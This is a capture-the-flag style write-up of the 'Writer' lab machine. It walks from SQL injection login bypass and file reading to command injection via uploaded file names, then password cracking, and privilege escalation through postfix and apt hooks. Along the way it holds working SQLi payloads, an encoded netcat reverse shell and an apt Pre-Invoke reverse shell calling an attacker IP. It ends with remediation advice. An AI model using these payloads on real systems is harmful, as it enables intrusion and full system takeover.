Writer
0xd4y
August 22, 2021
0xd4y Writeups
LinkedIn: https://www.linkedin.com/in/segev-eliezer/
Email: 0xd4yWriteups@gmail.com
Table of Contents
Leveraging SQLi to Read Local Files 9
After enumerating the website, the /administrative page was found which involved a simple login page. The username field is vulnerable to a critical SQL injection, which an attacker could leverage to login as an administrative user, access sensitive local files, and extract usernames and password hashes.
Following the authentication bypass, an insecure image upload feature could be exploited to gain RCE on the target. After obtaining a shell as the www-data user, escalating privileges to the local kyle user could be done by way of cracking his hash in the dev SQL database. The kyle user was part of the filter group which allowed for editing the configuration files of the SMTP service running locally on port 25. Because this service was running as the john user, getting a shell via the service resulted in compromising his account.
Finally, the john user is part of the management group which has access to the apt repository configuration files. A cronjob running as root which performed a frequent apt-get update command could therefore be taken advantage of, and obtaining root privileges was possible through adding a reverse shell file in the apt configurations. Please view the Post Exploitation Analysis and Conclusion sections to see remediations for these vulnerabilities
No information was provided prior to this engagement, other than the IP address of the target: 10.10.11.101.
To examine potential vulnerabilities, the ports of the target were first scanned:
# Nmap 7.91 scan initiated Tue Aug 17 14:52:04 2021 as: nmap -sC -sV -oA nmap/nmap 10.10.11.101 |
From the nmap scan, it is apparent that the SSH, HTTP, and SMB services are running on the target. The SMB service is of interest, however there is no anonymous access to any of the shares:
Seeing as all of the services are up to date, it follows that the HTTP service must be searched for potential vulnerabilities.
Users visiting the target’s web server are met with the following home page:
Enumerating the directories of the webpage with gobuster[1], the following directories are found:
/contact (Status: 200) [Size: 4905] |
A directory of particular interest is /administrative, especially since it cannot be found without brute forcing directories. Visiting this directory reveals a simple login form which asks for a username and password:
Note the domain of the target (namely writer.htb). However, no virtual host routing is present.
When inputting ’OR 1=1-- - as the username and choosing a random value for the password, the user is automatically authenticated, thus confirming the presence of SQL injection. As an authenticated user, stories can be edited and created, and pictures can be uploaded:
The web page does not properly check if an uploaded file is an image, as it was possible to upload a reverse shell by the name of php-reverse-shell.jpg.php. This, however, did not lead to RCE as the web page nevertheless treated the file as an image. Furthermore, uploading a malicious image with PHP code did not work.
An addition to the image upload feature is the ability to upload files given a url. This could be utilized to cause the server to perform GET requests to an arbitrary website of the user’s choice:
Request
POST /dashboard/stories/add HTTP/1.1 |
Note the “image_url” parameter highlighted in red
Response
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/medium/linux/writer] |
Judging from the user-agent, it was found that the server is running python. After failing to obtain code executions despite trying many different upload attacks, it follows that the source code of the upload feature must be leaked to determine how it works.
This is possible via the load_file SQL function. Going back to the login page, this function can be used in conjunction with a union select statement to leak files:
Payload
uname='union select 1,load_file('/etc/passwd'),3,4,5,6-- -&password=a |
Response
Welcome root:x:0:0:root:/root:/bin/bash |
Before being able to read the source code of the website, the full path of the file containing the source code must first be discovered. Seeing as the server is running apache2, the 000-default.conf file in the /etc/apache2/sites-available directory, a directory which holds configuration files for Apache virtual hosts, can be leaked to determine this information.
Payload
uname='union select 1,load_file('/etc/apache2/sites-available/000-default.conf'),3,4,5,6-- -&password=a |
Response
Welcome # Virtual host configuration for writer.htb domain |
In particular, note the directory in which the writer.wsgi file lies in (highlighted in blue). After finding out that the server is running python, fuzzing for files in the root of the web server revealed an __init__.py file within /var/www/writer.htb/writer/. Leaking this file reveals the following contents:
if request.method == "POST": if request.form.get('image_url'): |
Note the file was shortened to better emphasize the source code of the upload feature. Critically insecure code is highlighted in red, and the text highlighted in purple is the segment that the undermentioned exploit focuses on.
Within the source code are multiple examples of insecure code (explored more in detail in the Post Exploitation Analysis section). One that particularly stands out is the call of os.system on the uploaded filename. Before testing exploits on the target, the exploit was tested out locally to get a closer view as to how the program behaves. Copying the segment of interest, we can get a closer look at how the program treats file names:
Code
import urllib |
Observe the argument of the urllib.request.urlretrieve() function. The user is in control of this argument. If a user were to upload a file called 1.jpg;sleep, then the server will behave accordingly:
Response
The local_filename is /tmp/tmpen3ya1q1 |
However, when changing the argument to be file:///home/0xd4y/business/hackthebox/medium/linux/writer/www/.jpg/1.jpg;sleep 10, then command execution is performed. This works because the urllib function does not correctly rename the file to something safe in the instance that the argument is using the file protocol. Therefore, a file with a malicious name can be uploaded using the image parameter, and this file can then be referenced locally via the file protocol.
After uploading a file with the name `0xd4y.jpg;echo -n cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuODAgOTAwMSA+L3RtcC9m|base64 -d|bash`, it was referenced locally by putting the following in the image_url parameter: file:///var/www/writer.htb/writer/static/img/0xd4y.jpg;`echo -n cm0gL3RtcC9mO21rZmlmbyAvdG1wL2Y7Y2F0IC90bXAvZnwvYmluL3NoIC1pIDI+JjF8bmMgMTAuMTAuMTUuODAgOTAwMSA+L3RtcC9m|base64 -d|bash`. A reverse shell was then returned as the www-data user:
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/medium/linux/writer] |
After enumerating multiple files in the box, it was found that there is a username and password in a mysql config file called /etc/mysql/my.cnf that points to the dev database:
database = dev |
One of Kyle’s passwords is located in the databases, albeit it is hashed:
pbkdf2_sha256$260000$wJO3ztk0fOlcbssnS1wJPD$bbTyCB8dYWMGYlz4dSArozTY7wcZCS7DV6l5dpuXM4A=. Cracking this hash reveals that Kyle’s password is marcoantonio.
The kyle user is part of multiple groups, one of them being the filter group which has permissions to edit the /etc/postfix/disclaimer file. Furthermore, after enumerating the ports running locally on the target, it was found that port 25 is open and running a Postfix SMTP server.
With pspy[2] running on a separate kyle SSH instance, the following message was sent on the box:
kyle@writer:~$ nc localhost 25 |
Upon sending this message, the following process occurred in the background:
2021/08/25 00:12:54 CMD: UID=1001 PID=23607 | /bin/sh /etc/postfix/disclaimer -f kyle@writer.htb -- john@writer.htb |
Thus, the server is running as the john user (note UID=1001), and is executing the /etc/postfix/disclaimer file. Seeing as the kyle user had permission to edit this file, achieving a reverse shell as the john user could be obtained via appending a reverse shell to the top of the file and sending a message:
┌─[0xd4y@Writeup]─[~/business/hackthebox/medium/linux/writer] |
Persistence on this account was maintained by grabbing john’s ssh key.
John is part of the management group which has permission to edit the apt directory /etc/apt/apt.conf.d, a directory which is responsible for containing the apt configurations. As discovered using pspy, there is a cronjob running as root which performs the following command: /usr/bin/apt-get update. Therefore, a malicious configuration that returns a reverse shell can be added to the directory as follows:
john@writer:~$ echo 'apt::Update::Pre-Invoke {"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.15.80 9001 >/tmp/f"};' > /etc/apt/apt.conf.d/0xd4y-pwn |
When the cronjob runs again, a reverse shell is returned as the root user:
┌─[✗]─[0xd4y@Writeup]─[~/business/hackthebox/medium/linux/writer] |
This section goes into further detail about the vulnerabilities of the target and how to mitigate them. Note that the mitigations shown in this section are incomplete pieces of code, however they are secure implementations of the desired result.
This machine contained multiple vulnerabilities, starting with the SQL injection in the /administrative page. The vulnerability lies in the following SQL statement that is performed on the user’s query:
"Select * From users Where username = '%s' And password = '%s'" % (username, password) |
This insecure SQL statement allows an attacker to add a single quote in their username and then perform an arbitrary SQL statement of their choosing. To mitigate SQL injection attacks, the current recommendation is to use PDO (PHP Data Objects). The following code does not directly pass the user input into the SQL statement. Rather, using PDO tells the server what the SQL query and the user-inputted data are. This is successfully performed because the instruction and user-input are sent separately to the database:
<?php |
After successfully performing an SQL injection attack, an upload feature in the webpage was exploited to gain RCE due to insecure python code. System commands and evaluation functions should never be performed on user input. As discussed in Finding RCE Vulnerability, the system() function in the os module was the reason for the critical RCE vulnerability. The following code prevents this vulnerability:
from werkzeug.utils import secure_filename from PIL import Image |
The above program verifies if a file is a valid image by first checking its extension. Note that this is different from the source code of the website which simply searches for the presence of the .jpg string in the filename. After verifying the file’s extension, PIL’s verify method is called on the file before the file is uploaded to the img directory.
Multiple vulnerabilities were present on the target which resulted in a full compromise of the system. The /administrative page contained an SQL injection vulnerability which resulted in the leakage of local files and authentication bypass. After authenticating to the server, the insecure handling of filenames led to an RCE vulnerability.
Afterwards, the privilege escalation to root involved logging into the system as the kyle user who had permissions to edit the mail service. Due to the service running under john, the lateral movement involved adding a reverse shell to the configuration of the service. As the john user, apt configurations could be modified to exploit an apt-get update cronjob running as the root user. Observe the following remediations to mitigate the vulnerabilities outlined in the report: